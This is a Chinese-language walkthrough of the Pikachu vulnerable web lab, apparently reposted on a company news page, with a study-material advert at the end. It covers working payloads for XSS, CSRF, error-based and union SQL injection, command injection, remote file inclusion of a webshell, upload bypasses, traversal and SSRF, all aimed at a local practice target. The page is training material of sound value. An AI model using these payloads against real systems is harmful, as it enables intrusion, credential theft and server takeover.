资讯动态

Pikachu靶场全级别通关教程详解

发布时间:2026/9/2 9:38:36 来源:尧图企业网站定制
pikach通关暴力破解Cross-Site ScriptingXSS跨站脚本概述XSS是一种发生在Web前端的漏洞所以其危害的对象主要是前端用户。XSS漏洞可以用来进行钓鱼攻击前端js挖矿获取用户cookie甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等跨站脚本漏洞类型及测试流程跨站脚本漏洞常见类型反射型交互的数据一般不会被存在数据库里面一次性一般出现在查询类等页面。存储型交互的数据被存储在数据库里永久性存储一般出现在留言板注册类等页面。DOM型不与后台服务器产生数据交互通过DOM操作前端代码 输出的时候产生的问题一次性也属于反射型。XSS漏洞形成的原因主要原因是程序对输入和输出控制不够严格导致“精心构造”的脚本输入后在输出到前端时被浏览器当作有效代码解析执行而产生的危害。跨站脚本漏洞测试流程在目标站点找到输入点比如查询接口留言板等输入一组“特殊字符唯一识别字符”点击提交后查看返回的源码是否有做对应的处理。通过搜索定位到唯一字符结合唯一字符前后语法确认是否可以构造执行JS代码的条件构造闭合提交payload成功执行则存在xss漏洞。tips一般查询接口易出现反射型xss留言板易出现存储型xss。后台可能存在过滤措施构造的script可能会被过滤掉从而无法生效。通过变化不同的script尝试绕过后台过滤机制。反射型XSSget构造payloadscriptalert(xss)/script我们发现输入时长度进行了限制F12进行进行修改输入完整的payload反射型XSSpost我们点击右上角的“点一下提示”输入用户名和密码之后来到此页面输入payload点击提交即可看到注入成功。两者区别get型提交的数据会显示在url中而post不会。由于前两关较简单我们直接输入payload就可以注入成功就没有按照上述所说的流程进行特殊字符尝试查看是否进行了过滤然后构造新的payload。存储型XSSpayload:scriptalert(xss)/script在留言板中输入Do you love me点击确定我们依然会看到出现弹窗而且我们可以看到留言列表发现进行了存储。不仅如此我们进行页面切换然后再次切换回来发现弹窗依然存在说明我们输入的语句已经被存储起来。这就是存储性与反射性永久性和一次性的区别会永久的存储在数据库中。DOM型XSS什么是DOM通过JavaScript,可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。要改变页面的某个东西JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口连同对HTML元素进行添加、移动、改变或移除的方法和属性都是通过文档对象模型来获得的(DOM)所以你可以把DOM理解为JS访问HTML的标准编程接口。DOM是纯前端的操作先输入11111进行测试click me 后查看查看网页源码ctrlf搜索 what do you see 定位。首先你要能看懂代码然后就可以明白我们输入框中的内容就是标注的str我们可以在这里构造一个闭合实现弹窗a hrefstrwhat do you see?/a输入框中输入 onclickalert(xss)构造之后的完成语句a href onclickalert(‘xss’)what do you see?/a输入后点击click me 后点击 what do you see 便会弹窗了。DOM型XSS-X与上一关的区别就是这次是从url中获取我们输入的text参数的这就类似反射型其他同上构造闭合即可。输入框中输入 onclickalert(xss)由于dom型是纯前端操作比较鸡肋。CSRF(跨站请求伪造漏洞)CSRF漏洞概述Cross-site request forgrey简称为CSRF。在CSRF的攻击场景中攻击者会伪造一个请求这个请求一般是一个链接然后欺骗目标用户进行点击用户一旦点击这个请求整个攻击也就完成了。因此CSRF攻击也被称为one click攻击。为什么小黑可以攻击成功呢条件1xxx购物网站没有对个人信息修改的请求进行防CSRF处理导致该请求容易被伪造。因此我们判断一个网站是否存在CSRF漏洞其实就是判断其对关键信息比如密码等敏感信息的操作增删改是否容易被伪造。条件2lucy在登录了后台的情况下点击了小黑发送的“埋伏”链接。如果lucy不在登录状态下或者没有点击这个恶意链接则攻击就不会成功。为什么会出现CSRF漏洞*一方面用户安全意识不足访问不知名的url另一方面web没有做到准确的合法用户验证CSRF与XSS的区别CSRF是借用户的权限完成攻击攻击者并没有拿到用户的权限而XSS可以通过盗取cookie来直接获取用户权限来实施攻击。如何确认一个web系统存在csrf漏洞1、对目标网站增删改的地方进行标记并观察其逻辑判断请求是否可以被伪造例如修改管理员账号时并不需要验证旧密码导致请求容易被伪造例如对于敏感信息的修改并没有使用安全的token验证导致请求容易被伪造2、确认凭证的有效期这个问题会提高CSRF被利用的概率虽然退出或者关闭了浏览器但cookie仍然有效或者session并没有过期导致CSRF攻击变得简单。CSRF(GET)使用提示的用户名和密码进行登录点击修改个人信息提交并使用bp抓包这是我们提交的请求GET /pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex%E7%94%B7phonenum11111111add%E5%8C%97%E4%BA%ACemail222222submitsubmit我们并没有看到CSRF的token说明没有防CSRF的措施。修改get请求我们将phonenum修改为521521然后补全url并发送给被攻击者http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex%E7%94%B7phonenum521521add%E5%8C%97%E4%BA%ACemail222222submitsubmit如果被攻击者此时登录状态或cookie/session没有过期则她的信息被修改CSRF(PSOT)同上登录后进行抓包post型因为是请求体不能在url中所以无法再使用上述办法即通过URL来伪造请求)进行修改。但是我们可以根据抓包所获取的信息自己构造一个表单构造表单代码如下!DOCTYPE html html langen head meta charsetUTF-8 meta http-equivX-UA-Compatible contentIEedge meta nameviewport contentwidthdevice-width, initial-scale1.0 titlecsrf_post/title script window.onload function(){ document.getElementById(postsubmit).click(); } /script /head body form actionhttp://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php methodpost input typetext namesex value1br input typehidden namephonenum valueHypeRongbr input typehidden nameadd valuechinabr input typehidden nameemail valuehackerbr input idpostsubmit typesubmit namesubmit valuesubmit /form /body /htmlCSRF TokenCSRF的主要问题是敏感操作的链接容易被伪造那么如何让这个链接不容易被伪造Token的定义Token是服务端生成的一串字符串以作客户端进行请求的一个令牌。当我们点击修改个人信息的时候从url可以看出我们访问了token_get_edit.php执行后端代码生成token并且发送到前端页面通过hidden属性隐藏起来放在表单中。点击submit时我们会将从后端发过来的token和我们所要提交的数据以表单的形式一并发送到后端服务器后端服务器会验证此token。我们发现在get请求提交的基础上增加了Token当我们刷新页面时Token值会发生变化这样也就完全防止了GRSF漏洞的产生。CRSF漏洞常见防范措施增加token验证常用的做法1、对关键操作增加token参数token值必须随机每次都不一样关于安全的会话管理避免会话被利用及时关闭登录态1、不要在客户端保存敏感信息比如身份认证信息2、测试直接关闭退出时的会话过期机制3、设置会话过期机制比如15分钟内无操作则自动登入超时访问控制安全管理1、敏感信息的修改时需要对身份进行二次认证比如修改账号时需要判断旧密码2、敏感信息的修改尽量使用post而不是getpost的安全性比get高些3、通过http 头部中的referer来限制原页面一般用在登录防暴力破解也可以用在其他重要信息操作的表单中需要考虑可用性SQL-InjectSQL注入漏洞SQL-Inject漏洞原理概述在owasp发布的top10排行榜里注入漏洞一直是危害排名第一的漏洞其中注入漏洞里面首当其冲的就是数据库注入漏洞。SQL注入漏洞主要形成的原因是在数据交互中前端的数据传入到后台处理时后台没有做严格的判断导致其传入的“数据”拼接到SQL语句中被当做SQL语句的一部分执行。从而导致数据库受损被拖库被删除甚至整个服务器权限沦陷。SQL Inject 漏洞攻击流程注入点探测自动方式使用web漏洞扫描工具自动进行注入点发现手动方式手工构造sql inject测试语句进行注入点发现信息收集通过注入点取期望得到的数据1 环境信息数据库类型数据库版本操作系统版本用户信息等2数据库信息数据库名称数据库表表字段字段内容甚至加密的内容也可能会被破解获取权限获取操作系统权限通过数据库执行shell上传木马常见的注入点类型数字型user_id $id字符型user_id $id搜索型text LIKE %{$_GET[search]}%数字型注入post随意点击一个数字点击查询会出现如下结果url中没有传参提交方式为post。点击数字1进行查询并使用bp抓包全选然后右键选择发送到Repeater构造peyload然后点击发送。payload:1 or 1 111永远为true所以将会遍历出所有用户的邮箱。点击Render我们发现查询出了所有用户的邮箱。字符型注入get随便输入点击提交提示用户名不存在我们可以看到url中显示了我们提交的数据提交方式为get。字符型注入我们可以猜测sql语句的大概格式select 字段1字段2 from 表名 where username admin;构造闭合输入admin’ or 11#select 字段1字段2 from 表名 where username admin or 11#;在sql语句中#为注释符SQL Injec漏洞手工测试基于unionl联合查询的信息获取union联合查询可以通过联合查询来查询指定的数据。用法(我们以pikachu数据库中的member表来举例)联合查询的字段数必须和主查询一致主查询字段2个id,email 联合查询字段三个username,pw,sex将会报错如下但是我们是不知道字段数的如何猜测字段数呢使用order by查询再次查询正常报错也就是说主查询里有两个字段。确认字段后我们使用联合查询。x union select database(),user()#如下图我们查询出了数据库名称和当前用户。我们还可以查询数据库版本。x union select version(),4#我们可以看到数据库版本为5.7.26我们输入的4也正常打印了出来。mysql知识点select version(); //查询数据库版本select database(); //查询当前的数据库名称select user(); //查询当前登录的用户order by x //对查询的结果进行排序默认数字0-9字母a-z union select //联合查询必须与主查询的字段个数保持一致。information_schema在mysql中自带的information_schema数据库里面存放了大量的重要信息。具体如下如果存在注入点的话我们可以尝试对该数据库进行访问从而获取更多的信息。SCHEMATA表提供了当前mysql实例中所有数据库的信息。TABLES表提供了表的信息包括视图。详细描述了某个表属于哪个 schema表类型表引擎创建时间等信息。COLUMNS表提供了表中字段的信息。搜索型注入输入字符k搜索返回了所有含有k的用户。select from 表名 where username like %k%;这种查询比get多了%号我们同样构造闭合。payloadk% or 11# 注意or的两边要有空格这是sql规定的语法格式否则将报错select from 表名 where username like %k% or 11 #%;xx型注入查看后端源码想办法构造闭合select id,email from member where username($name);payload: xx) or 11#select id,email from member where username(xx) or 11#);SQL Inject漏洞手工测试基于报错的信息获取(select/delete/update/insert)技巧思路在mysql中使用一些指定的函数来制造报错从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。背景条件后台没有屏蔽数据库报错信息在语法发生错误时回输出在前端。基于报错的信息获取————三个常用的用来报错的函数updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数。extractvalue():函数也是MySQL对XML文档数据进行查询和修改的XPATH函数。floor():MYSQL中用来取整的函数。updatexml()updatexml()函数作用改变查找并替换XML文档中符合条件的节点的值。语法UPDATEXML(xml document,XPathstring,new_value)第一个参数: filedname是String格式为表中的字段名。第二个参数: XPathstring (Xpath格式的字符串)。第三个参数: new. valueString格式替换查找到的符合条件的Xpath定位必须是有效的否则会发生错误select下报错的利用演示我们还是那字符型注入做演示首先我们应该判断有没有报错会不会在前端显示。我们输入单引号发现有注入报错。现在我们构造一个报错。kobe and updatexml(1,version(),0)#但是并没有把version对应的版本号打印出来 接下来修改payload。kobe and updatexml(1,concat(0x7e,version()),0)#我们获取到了版本号现在我们可以把version替换成任意我们想要获取的信息。kobe and updatexml(1,concat(0x7e,database()),0)#我们进一步查询数据库中的表kobe and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemapikachu)),0)#报错返回的数据多余一行。说明报错有多行。再次进行处理。可以使用limit一次一次进行获取表名。kobe and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemapikachu limit 0,1)),0)#我们可以得到第一个表名。想要得到第二个表名只要把0改成1即可。依此类推可以得到所有表名。kobe and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemapikachu limit 1,1)),0)#在获取表名之后思路一样获取列名。kobe and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_nameusers limit 0,1)),0)#同样的依此类推得到所有列名。在获取列名后再来获取数据。kobe and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#获取了第一个用户名再根据用户名查询密码。kobe and updatexml(1,concat(0x7e,(select password from users where usernameadmin limit 0,1)),0)#获取MD5加密的密文解密获取明文密码。insert/update注入点击注册一样的方法判断是否有SQL注入漏洞经过判断之后发现存在SQL漏洞。重点在于怎么构造insert的payload。zzzz or updatexml(1,concat(0x7e,database()),0) or 密码随意。点击提交。得到数据库名。思路一样把database做替换得到想要的信息。update与insert是一模一样的。我们先登录用户。在这里可能会有人显示不出来信息可以参考解决方案。 在使用pikachu的时候发现一点问题好像是由php版本较高导致的不兼容如图在这里我们打开这个路径找到第66行把MYSQL_ASSOC改成MYSQLI_ASSOC保存文件刷新网页。就可以啦。原因在php7中MYSQL_ASSOC不再是一个常量将MYSQL_ASSOC改为MYSQLI_ASSOC意思是mysqli的方式提取数组而不再是mysql原因mysql_fetch_arrayhan函数转为mysqli_fetch_array参数没有修改这个修改就是通过update。这里就存在update漏洞。我们输入刚刚的payload。爆出数据库名称之后逻辑就一样了。delete注入删除留言并使用bp抓包发送给repeater我们可以把id构成闭合。1 or updatexml(1,concat(0x7e,database()),0)点击发送按照我们的期望返回了数据库名称。extractvalue()extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。语法: ExtractValue(xm| _document, xpath. string)第一个参数: XML document是String格式为XML文档对象的名称,文中为Doc第二个参数: XPath_ string (Xpath格式的字符串)Xpath定位必须是有效的,否则会发生错误。打开字符型注入输入payload。kobe and extractvalue(0,concat(0x7e,version()))#效果差不多理解即可。floor()在字符型中输入payload得到版本号。kobe and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#同样进行替换我们可以得到其他你想知道的东西。http header注入RCE(远程命令执行/远程代码执行)RCE(remote command/code execute)概述RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码从而控制后台系统。远程系统命令执行一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面用户从web界面输入目标IP提交后后台会对该IP地址进行一次ping测试并返回测试结果。 而如果设计者在完成该功能时没有做严格的安全控制则可能会导致攻击者通过该接口提交“意想不到”的命令从而让后台进行执行从而控制整个后台服务器现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过自动化运维平台进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的收获-_-远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此如果需要给前端用户提供操作类的API接口一定需要对接口输入的内容进行严格的判断比如实施严格的白名单策略会是一个比较好的方法。你可以通过“RCE”对应的测试栏目来进一步的了解该漏洞。我们首先输入127.0.0.1进行ping乱码是因为编码方式我们只要看到ping出东西就可以了。接下来我们输入 127.0.0.1 ipconfig说明这里除了可以提交目标IP地址外还可以通过一些拼接的符号执行其他的命令。下面来到“eval”eval函数可以把字符串当成 PHP 代码来执行。输入phpinfo(); 点击提交我们可以看到函数得以执行。那么这里学习一个php函数system(“”)直接执行操作系统命令例如system(“ipconfig”)File Inclusion(文件包含漏洞)文件包含漏洞概述在Web后台开发中程序员往往为了提高效率以及让代码看起来更加简洁会使用“包含”函数功能比如把 一系列功能函数都写进function.php中之后当某个文件需要调用的时候就直接在文件头中写上一句?php include function.php?就可以调用函数代码。但有些时候因为网站功能需求会让前端用户选择需要包含的文件或者在前端的功能中使用了“包含”功能又由于开发人员没有对要包含的这个文件进行安全考虑就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件代码。通过Include或require语句可以将PHP文件的内容插入到另一个PHP文件在服务器执行它之前。include和require语句是相同的除了错误处理方面require会生成致命错误E_COMPILE ERROR并停止脚本执行include只生成警告E WARNING并且脚本会继续执行本地文件包含漏洞随便选择一个点击提交我们观察url显示是一个文件file1.php按照设计这些文件都是后台自己存在的文件。但是由于这个我呢见名是前端传向后台的也就意味着我们可以直接通过url修改这个文件。假设我们该后台的操作系统是win11其中有很多固定的配置文件,我们可以多敲几个…/…/…/…/…/…/…/…/…/跳转到根目录我们将文件名替换。../../../../Windows/System32/drivers/etc/hosts所有的配置文件就暴露出来了。远程文件包含漏洞远程文件包含漏洞形式和本地文件包含漏洞差不多在远程包含漏洞中攻击者可以通过访问外部地址来加载远程代码。远程包含漏洞前提如果使用的是include和require函数则需要php.ini配置如下php5.4.34allow_url_fopenon //默认打开allow_url_includeon //默认关闭写入一句话木马危害极大。打开远程包含否则无法进行靶场训练。选择一个提交观察url它实际上提交的是一个目标文件的路径我们可以改成一个远端的路径读取远程文件。在这里我们使用pikachu提供的测试文件yijuhua.txt将文件替换成远程路径构造url访问yijuhua.txt这时会自动生成一个yijuhua.php文件然后我们通过yijuhua.php构造url我们可以发现ipconfig执行了。文件包含漏洞防范措施0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。1.过滤各种./. ,http:// https://2.配置php.ini配置文件:allow_ url fopen offAllow_ url include offmagic quotes_ gpcon //gpc在3.通过白名单策略仅允许包含运行指定的文件,其他的都禁止。Unsafe file downloads(不安全的文件下载)很多网站都会提供文件下载功能即用户可以通过点击下载链接,下载到链接所对应的文件。但是如果文件下载功能设计不当则可能导致攻击着可以通过构造文件路径从而获取到后台服务器上的其他的敏感文件。( 又称:任意文件下载)正常功能点击球员名字就可以下载图片。我们以点击科比为例右键新建标签页打开文件我们可以直接修改filename的值去下载其他图片我们还可以使用目录遍历的方式去修改链接下载敏感文件。防范措施1.对传入的文件名进行严格的过滤和限定2.对文件下载的目录进行严格的限定Unsafe file upload(不安全的文件上传)文件上传功能在web应用系统很常见比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨则攻击者可能会上传一些恶意的文件比如一句话木马从而导致后台服务器被webshell。文件上传漏洞测试流程1、上传文件查看返回结果路径提示等2、尝试上传不同类型的“恶意”文件比如xx.php文件分析结果3、查看html源码看是否通过js在前端做了上传限制想办法绕过4、尝试使用不同方式进行绕过黑白名单绕过/MIME类型绕过/目录0x00截断绕过等5、猜测或者结合其他漏洞比如敏感信息泄露等得到木马路径连接测试client check我们发现只能上传图片上传其他文件会显示上传的文件不符合要求请重新选择。我们按下F12并打开后台源码查看发现前端对文件进行了限制我们可以直接使用发者工具把前端的onchang函数删掉。再次上传上传成功。MIME typeMIME多用途互联网邮件扩展类型是设定某种扩展名的文件用一种应用程序来打开的方式类型当该扩展文件被访问的时候浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名以及一些媒体文件打开方式。每个MIME类型由两部分组成前面是数据的大类别例如声音audio、图像image等后面定义具体的种类常见的MIME类型比如超文本标记语言文本.html texthtml普通文本.txt text/plainRTF文本.rtf application/rtfGIF图形.gif image/gifJPEG图形.ipeg.jpg image/jpeg通过使用PHP的全局数组$_FILES你可以从客户计算机向远程服务器上传文件。第一个参数是表单的input name第二个下标可以是name,“type”,“size”,“tmp_name或error”我在这里上传了一个shell.php文件提示如下我们使用bp抓包并且发送到repeater修改content-type为图片类型点击发送通过http头的修改绕过了MIME type验证之后就是访问传参通过一句话木马控制服务器。getimagesize()getimagesize()它是php提供的通过对目标文件的16进制进行读取通过该文件的前面几个字符串来判断文件类型。getmagesize()返回结果中有文件大小和文件类型。固定的图片文件十六进制的头部的前面的几个字符串基本上是一样的比如说png格式的图片所有png格式的图片前面的十六进制都是一样的。思路我们就是要通过伪造十六进制的头部字符串来绕过getimagesize()函数从而达到上传的效果。那么如何制作图片马我们首先桌面要有1.png和2.php通过命令将两个合成一个ccc.png生成的文件前面内容是1.png后面是2.php内容。我们将ccc.png上传虽然我们绕过getimagesize()成功上传图片但只访问图片里面的php代码是执行不了的下面我们需要想办法让其执行。我们结合本地文件包含漏洞上传图片路径注意相对路径的问题要在前面加上unsafeupload。unsafeupload/uploads/2022/12/13/4115216397f2cf994ea732428763.pngover permission 越权漏洞越权漏洞概述由于没有用户权限进行严格的判断导致低权限的账号(比如普通用户)可以去完成高权限账号( 比如超级管理员)范围内的操作。平行越权: A用户和B用户属于同一级别用户,但各自不能操作对方个人信息, A用户如果越权操作B用户的个人信息的情况称为平行越权操作垂直越权。A用户权限高于B用户 , B用户越权操作A用户的权限的情况称为垂直越权。越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严谨导致。每个应用系统其用户对应的权限是根据其业务功能划分的,而每个企业的业务又都是不一样的。因此越权漏洞很难通过扫描工具发现出来,往往需要通过手动进行测试。水平越权先进行登录提示里查看账号密码。有一个功能点击查看个人信息。再点击按钮时向后台提供了一个get请求。提供了当前用户的用户名然后后台将其信息返回到前台。我们在url中把Lucy改成其他人看看能不能查到信息。虽然登录的是lucy的账号但是却返回了kobe的信息。垂直越权先登录超级管理员去执行只有管理员才可以操作的新增账号的功能用burp抓包。退出登录。登录普通用户执行新增账号操作。如果成功则存在垂直越权漏洞。登录超级管理员添加用户使用bp抓包将其发送到repeater并且放包查看数据退出登录登录普通用户使用http历史记录也可查看数据包找到登录pikachu用户的数据包。我们将普通用户的cookie复制cookie就是普通用户的登录态粘贴在重发器中所对应的cookie位置现在就相当于使用普通用户登录然后实现添加用户操作我们点击发送回到页面刷新我们看到又有一个zhnag用户。说明存在垂直越权漏洞。…/…/(目录遍历)目录遍历漏洞概述在web功能设计中,很多时候我们会要将需要访问的文件定义成变量从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时便会将请求的这个文件的值(比如文件名称)传递到后台后台再执行其对应的文件。 在这个过程中如果后台没有对前端传进来的值进行严格的安全考虑则攻击者可能会通过“…/”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来形成目录遍历漏洞。看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载甚至文件包含漏洞有差不多的意思是的目录遍历漏洞形成的最主要的原因跟这两者一样都是在功能设计中将要操作的文件使用变量的 方式传递给了后台而又没有进行严格的安全考虑而造成的只是出现的位置所展现的现象不一样因此这里还是单独拿出来定义一下。需要区分一下的是,如果你通过不带参数的url比如http://xxxx/doc列出了doc文件夹里面所有的文件这种情况我们成为敏感信息泄露。 而并不归为目录遍历漏洞。点击超链接实际上是向后台发送了一个文件名。我们可以修改文件名。修改成…/dir.php上级目录下的dir.php可以发挥想象访问更多内容。敏感信息泄露敏感信息泄露概述由于后台人员的疏忽或者不当的设计导致不应该被前端用户看到的数据被轻易的访问到。 比如1、通过访问url下的目录可以直接列出目录下的文件列表;2、输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;3、前端的源码html,css,js里面包含了敏感信息比如后台登录地址、内网接口信息、甚至账号密码等;类似以上这些情况我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上除了要进行安全的代码编写也需要注意对敏感信息的合理处理。URL跳转不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生跳错对象的问题。url跳转比较直接的危害是:–钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站。我们点击第四个链接我看观察url发生了跳转我们可以直接修改url跳转到百度我们可以利用url重定向来构造一些恶意网站执行跳转。SSRF服务端请求伪造概述SSRF(Server-Side Request Forgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。数据流:攻击者-----服务器----目标地址根据后台使用的函数的不同,对应的影响和利用方法又有不一样PHP中下面函数的使用不当会导致SSRF:file_get_contents()fsockopen()curl_exec()如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。SSRF(curl)在pikachu靶场中点击蓝色的a标签后可以看到浏览器URL中它传了一个url参数打开后端源代码可以看到它是从前端获取了url请求curl_init函数会对它进行初始化然后curl_exec函数会去执行请求最终又将请求结果返回到前端。我们可以通过传入一个其他的地址来演示。在URL中传入百度的地址(www.baidu.com)可以看到页面显示出了百度的数据库 (它的流程和分析的源代码流程是一样的前端传入参数后端通过curl_exec去请求百度最后把请求返回的百度数据返回到前端)为了演示我在pikachu的test文件夹中新建了一个txt文件内容如图片所示接下来把这个2.txt文件的地址输入到pikachu中http://127.0.0.1/pikachu/test/2.txt提交这个url后pikachu页面显示出了2.txt文件中保存的内容这样也就意味着我们可以通过SSRF这个漏洞对后端服务器同一个网络的其他服务器进行相关的扫描、探测,获取更多的资源然后更进一步的进行攻击。SSRF(file_get_content)打开pikachu靶场点击蓝色标签可以看到和前面是一样的都是通过URL上传参数到后台获取信息的查看后端代码它和前面的逻辑是一样的不同的是它这里使用file_get_contents函数进行文件的读取执行而file_get_contents函数可以对本地文件进行读取也可以对远程文件进行读取。我们可以像前面测试的一样在URL中去输入百度的地址。它一样也会通过http协议去获取百度的资源我们也可以像前面一样去访问我们之前在pikachu保存的txt文件接下来比如我们想知道它后台的PHP是怎么写的可以通过构造一个payload去获取后台的PHP源码php://filter/readconvert.base64-encode/resourcessrf.php提交payload后可以看到页面显示出了转换后的php的base64编码然后我们可以复制获取的base64编码到相关的解码网站进行解码从而得到PHP的源码以上就是今天的分享觉得有帮助记得点赞收藏以上所说到的漏洞扫描工具都整理成压缩包了朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】同时还为准备学习网络安全黑客或者正在学习整理了一套360独家内部资料包含以下内容如有需要也可文末获取①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价